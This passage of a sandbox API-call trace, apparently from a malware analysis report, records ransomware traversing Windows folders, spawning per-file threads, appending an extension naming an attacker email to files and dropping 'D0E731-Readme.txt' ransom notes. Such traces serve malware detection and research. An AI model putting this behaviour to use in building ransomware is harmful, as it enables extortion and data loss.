lpBuffer=0x1467f920*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x1467f920*, lpNumberOfBytesWritten=0x1467f908*=0x4, lpOverlapped=0x0) returned 1 [0172.759] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1467f908*=0x4, lpOverlapped=0x0) returned 1 [0172.759] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1467f908*=0x6c, lpOverlapped=0x0) returned 1 [0172.759] WriteFile (in: hFile=0x584, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x1467f908*=0x20, lpOverlapped=0x0) returned 1 [0172.759] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1467f908*=0x4, lpOverlapped=0x0) returned 1 [0172.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058318) returned 1 [0172.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.759] CloseHandle (hObject=0x584) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97838 [0172.759] wcscpy (in: _Dest=0x2f97838, _Source="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" [0172.759] wcscat (in: _Dest=0x2f97838, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.759] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.761] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.761] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97838) returned 1 [0172.761] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.762] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.762] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.762] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.762] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.762] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfee0) returned 1 [0172.762] RtlExitUserThread (Status=0x1) Thread: id = 1965 os_tid = 0xd6c [0170.761] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.762] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.762] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.762] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.762] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3900) returned 1 [0170.762] RtlExitUserThread (Status=0x0) Thread: id = 1966 os_tid = 0xd88 [0170.767] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.767] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.768] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.768] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.768] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee780) returned 1 [0170.768] RtlExitUserThread (Status=0x0) Thread: id = 1967 os_tid = 0x9e4 [0170.769] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.769] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.769] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.769] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fede50) returned 1 [0170.769] RtlExitUserThread (Status=0x0) Thread: id = 1968 os_tid = 0xcb0 [0170.770] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.771] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.771] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.771] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.771] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedfa0) returned 1 [0170.771] RtlExitUserThread (Status=0x0) Thread: id = 1969 os_tid = 0x534 [0170.772] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.772] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.772] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.772] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee048) returned 1 [0170.772] RtlExitUserThread (Status=0x0) Thread: id = 1970 os_tid = 0x540 [0170.773] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.774] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.774] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.775] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f80) returned 1 [0170.775] RtlExitUserThread (Status=0x0) Thread: id = 1971 os_tid = 0xb4c [0170.776] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.776] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.776] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.777] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90cc0) returned 1 [0170.777] RtlExitUserThread (Status=0x0) Thread: id = 1972 os_tid = 0xe68 [0170.778] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.778] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.778] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.778] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.779] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f912f0) returned 1 [0170.779] RtlExitUserThread (Status=0x0) Thread: id = 1973 os_tid = 0xdfc [0170.780] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.780] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.780] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.780] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91df0) returned 1 [0170.781] RtlExitUserThread (Status=0x0) Thread: id = 1974 os_tid = 0xe00 [0170.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2fa06e8 [0170.782] wcscpy (in: _Dest=0x2fa06e8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.782] wcscat (in: _Dest=0x2fa06e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.782] wcscat (in: _Dest=0x2fa06e8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*" [0170.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020a40 [0170.782] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x89f17009, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89f17009, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30454a8 [0170.784] wcscmp (_String1=".", _String2=".") returned 0 [0170.784] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x89f17009, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89f17009, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.785] wcscmp (_String1="..", _String2=".") returned 1 [0170.785] wcscmp (_String1="..", _String2="..") returned 0 [0170.786] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89689df2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89689df2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89689df2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.786] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.786] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.786] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c6124, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c6124, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89663b3e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1b02d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_A~1.D0E")) returned 1 [0170.786] wcscmp (_String1="EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.786] wcscmp (_String1="EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.786] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055868 [0170.786] wcscpy (in: _Dest=0x3055868, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.786] wcscat (in: _Dest=0x3055868, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.786] wcscat (in: _Dest=0x3055868, _Source="EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" [0170.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0170.875] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c74ab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c74ab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x896b0011, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3df0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_B~1.D0E")) returned 1 [0170.875] wcscmp (_String1="EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.875] wcscmp (_String1="EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056780 [0170.875] wcscpy (in: _Dest=0x3056780, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.875] wcscat (in: _Dest=0x3056780, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.875] wcscat (in: _Dest=0x3056780, _Source="EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" [0170.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0170.876] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c882e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c882e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x896fc444, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14633, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_C~1.D0E")) returned 1 [0170.876] wcscmp (_String1="EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.876] wcscmp (_String1="EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.876] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055588 [0170.876] wcscpy (in: _Dest=0x3055588, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.876] wcscat (in: _Dest=0x3055588, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.876] wcscat (in: _Dest=0x3055588, _Source="EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" [0170.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814 [0170.876] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3caf18, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3caf18, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89722720, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xff55, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_D~1.D0E")) returned 1 [0170.876] wcscmp (_String1="EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.877] wcscmp (_String1="EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.877] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055360 [0170.877] wcscpy (in: _Dest=0x3055360, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.877] wcscat (in: _Dest=0x3055360, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.877] wcscat (in: _Dest=0x3055360, _Source="EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" [0170.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818 [0170.877] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d10e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d10e9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x897489f6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x113fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_D~2.D0E")) returned 1 [0170.877] wcscmp (_String1="EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.877] wcscmp (_String1="EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.877] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30556f8 [0170.877] wcscpy (in: _Dest=0x30556f8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.878] wcscat (in: _Dest=0x30556f8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.878] wcscat (in: _Dest=0x30556f8, _Source="EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" [0170.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30556f8, dwCreationFlags=0x0, 